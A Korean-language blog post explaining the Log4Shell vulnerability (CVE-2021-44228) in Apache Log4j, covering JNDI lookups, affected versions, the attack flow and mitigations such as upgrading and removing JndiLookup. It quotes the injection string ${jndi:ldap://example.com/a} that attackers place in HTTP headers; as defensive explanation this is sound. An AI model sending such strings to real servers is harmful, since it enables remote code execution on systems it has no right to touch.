2021년 12월 10일 Apache는 Apache Log4j 2.14.1 및 그 이전 버전에 영향을 미치는 원격코드 코드 실행(RCE) 취약점인 CVE-2021-44228에 대한 수정 사항이 포함된 Log4j 2.15.0 버전을 발표했다. CVE-2021-44228는 Log4Shell이라는 별칭이 부여되어 있으며 심각도 점수 10점 만점에 10점으로 현재 가장 주목받는 보안 취약점이다.
1. Log4j란?
Log4j는 애플리케이션에서 오류 메시지를 기록하기 위해 널리 사용되는 Java 라이브러리이다. Log4j는 Apache Struts2, Apache Solr, Apache Druid, Apache Flink, Apache Swift와 같은 Apache 프레임워크에 포함되어 있으며, 기업에서 자체 개발한 맞춤형 애플리케이션을 포함한 엔터프라이즈 소프트웨어 애플리케이션에도 사용된다. 또한 수많은 클라우드 컴퓨팅 서비스의 일부를 구성한다. Log4j는 Java로 만들어진 애플리케이션이라면 거의 모든 곳에 있다고 볼 수 있다.
2. Log4j 취약점의 영향을 받는 애플리케이션은 무엇인가?
Log4j가 매우 널리 사용되기 때문에 매우 많은 소프트웨어와 서비스에 영향을 미칠 수 있으며, 애플리케이션이 "신뢰되지 않은 사용자 입력을 처리하고 이를 Log4j 로깅 라이브러리의 취약한 버전으로 전달하면" 취약하다.
3. 취약점에 영향받은 Log4j 버전
2.0-beta9 ~ 2.14.1 이하 (2.3.1, 2.12.2, 2.12.3 제외)
※ log4j-core-*.jar 파일 없이 log4j-api-*.jar 파일만 사용하는 경우 취약점의 영향을 받지 않음
4. CVE-2021-44228 개요
CVE-2021-44228은 JNDI injection exploit으로, Log4j는 Multiple lookup plugin을 다양한 정보에 접근한다. 취약점이 발현되는 근본적인 원인은 Log4j2 version 2.0-beta9부터 도입된 “JNDI Lookup plugin”(LOG4J2-313) 기능 때문이다. LOG4J2-313에서 아래와 같이 JNDI Lookup을 추가하였다.
- JNDI Lookup은 변수를 JNDI를 통해 변수를 가져올 수 있도록 한다.
- 기본적으로 key는 java:comp/env/가 prefix 되며, 만약 key에 “:”가 존재한다면 prefix가 추가되지 않는다.
예를 들어 ${jndi:ldap://example.com/a}와 같이 키에 “:”가 있고 prefix가 없는 경우 LDAP 서버에서 object에 대한 쿼리를 받는다.
취약점을 이해하기 위해서는 JNDI에 대한 이해가 조금 필요하므로, Java에서 JNDI와 LDAP에 대한 기본 내용을 살펴보자. JNDI는 Java에서 디렉터리를 이용하여 데이터를 호출할 수 있게 해주는 Directory Service로 JNDI는 이러한 다양한 Directory Service를 가능하게 하기 위해 몇 가지의 SPI (Service Provider Interfaces)를 포함하고 있다. JNDI는 LDAP(the Lightweight Direcotry Access Protocol)와 함께 필요한 데이터를 품고 있는 Java object를 얻기 위해 사용할 수 있다.
JNDI(Java Naming and Directory Interface)
- Java 프로그램이 디렉터리를 통해 데이터(Java객체 형태)를 찾을 수 있도록 하는 디렉터리 서비스
- Java 애플리케이션이 조회를 수행하고 LDAP, RMI, DNS 등과 같은 프로토콜을 사용하여 Java 객체를 검색할 수 있도록 하는 Java API
- 애플리케이션이 RMI 레지스트리에 등록된 원격 객체 또는 LDAP와 같은 디렉토리 서비스와 상호 작용할 수 있는 API를 제공
JNDI와 LDAP을 함께 사용해서 필요한 데이터가 포함된 Java 오브젝트를 찾을 수 있다. 예를 들면, 표준 Java문서에는 LDAP 서버에게 오브젝트에서 속성을 가져오라고 지시하는 방법으로 아래와 같은 예제를 볼 수 있다.
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://localhost:389/o=JNDITutorial");
DirContext ctx = new InitialDirContext(env);
이는 ldap://localhost:389/o=JNDITutorial을 이용해서 LDAP 서버로부터 JNDITutorial object를 찾고, 여기에서 속성을 읽어 들인다. 예제에서 보듯이 LDAP 서버가 다른 서버에 있거나 다른 포트를 사용하는 경우 호출을 통해 원하는 object를 가져올 수 있다. 이러한 유연성은 공격자가 이용하면, LDAP URL을 컨트롤하여 자신의 통제하에 Java 프로그램을 실행시켜 object를 로드할 수 있음을 의미한다.
다시 돌아와 대부분의 경우 Log4j plugin은 획득한 값이 애플리케이션 로그에 저장되고 일 번 적으로 표시되지 않기 때문에 시나리오가 성립되지 않는다. 그러나 이 취약한 버전의 log4j의 경우 JNDI를 사용하여 LDAP URL을 사용하여 인스턴스에 연결하고 기록하는 동안 정보를 호출하고 기록할 수 있다.
공격자는 보통 로그가 기록되는 HTTP Request Header에 ${jndi:ldap://example.com/a}와 같은 문자열을 삽입하여 전송하여, log4j를 통해 ${jndi:ldap://example.com/a}와 같은 문자열을 기록하도록 함으로써 LDAP URL을 컨트롤할 수 있다. 공격자가 LDAP URL을 컨트롤할 수 있는 이유는 Log4j에 ${prefix:name} 형식의 특수 구문이 포함되어 있기 때문에 발생하며, 접두사는 name을 평가해야 하는 여러 Lookup 중 하나이다.
결론적으로 JndiLookup은 Lookup의 하나로, ${jndi:xxxx}라는 변수를 JNDI로 xxxx를 lookup 한 값을 출력하며, JNDI Injection이 이용되면서 임의로 코드가 실행된다.
취약점에 사용된 JNDI Injection 공격 기법은 2016년 블랫햇에서 발표된 바 있음
1) 공격자는 공격자의 Naming/Directory 서비스에 페이로드를 바인딩
2) 취약한 JNDI lookup method에 URL을 인젝션
3) 애플리케이션에서 Lookup 수행
4) 해당 애플리케이션은 공격자가 제어 가능한 Naming/Directory 서비스에 연결됨
5) 최종적으로 애플리케이션에서 응답 값을 디코드 하고 페이로드를 트리거
5. 대응방안
- Java 8 이상 :
Log4j 2.15.0->Log4j 2.17.0-> Log4j 2.17.1로 업데이트 - Java 7 :
Log4j 2.12.3-> Log4j 2.12.4로 업데이트 - Java 6 :
Log4j 2.3.1-> Log4j 2.3.2로 업데이트
최신 버전으로 업데이트가 불가능한 경우 아래와 같이 임시 조치
- Log4j 2.10 이상 : -Dlog4j.formatMsgNoLookups=true를 명령줄 옵션으로 추가하거나, log4j.formatMsgNoLookups=true를 클래스 경로의 log4j2.component.properties 파일에 추가하여 로그 이벤트 메시지에서 조회를 방지
- Log4j 2.7 이후 : Pattern Layout 구성에서 %m{nolookups}를 지정하여 로그 이벤트 메시지에서 조회를 방지
- log4j-core jar에서 JndiLookup 및 JndiManager 클래스를 제거
(예시) zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
※ JndiManager를 제거하면 JndiContextSelector 및 JMSAppender가 더 이상 작동하지 않음 - WAF /IPS등에 악성 인바운드 요청을 차단하는 정책 추가
- 송신 RMI 및 LDAP 프로토콜 및 포트 필터링/제한
위의 임시조치는 어디까지나 임시조치이기 때문에 서비스 영향도를 고려하셔서 업데이트 계획을 수립 후 최신 버전의 Log4j로 업데이트를 권고하고 있다.
[참고자료]
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228
https://logging.apache.org/log4j/2.x/security.html
https://logging.apache.org/log4j/2.x/manual/lookups.html
https://issues.apache.org/jira/browse/LOG4J2-313
https://docs.oracle.com/javase/jndi/tutorial/getStarted/examples/directory.html
https://logging.apache.org/log4j/log4j-2.3/manual/lookups.html#JndiLookup
https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution
https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
https://www.radware.com/security/threat-advisories-and-attack-reports/log4shell-critical-log4j-vulnerability/
https://lists.apache.org/thread/gzj2jsglvsffzs8zormxyly0vofdxp6j
'Infomation > Vulnerability' 카테고리의 다른 글
CVE-2021-44832 Log4j Vulnerability (0) | 2021.12.29 |
---|---|
CVE-2021-45105 Log4j Vulnerability (0) | 2021.12.23 |
CVE-2021-45046 Log4j Vulnerability (0) | 2021.12.23 |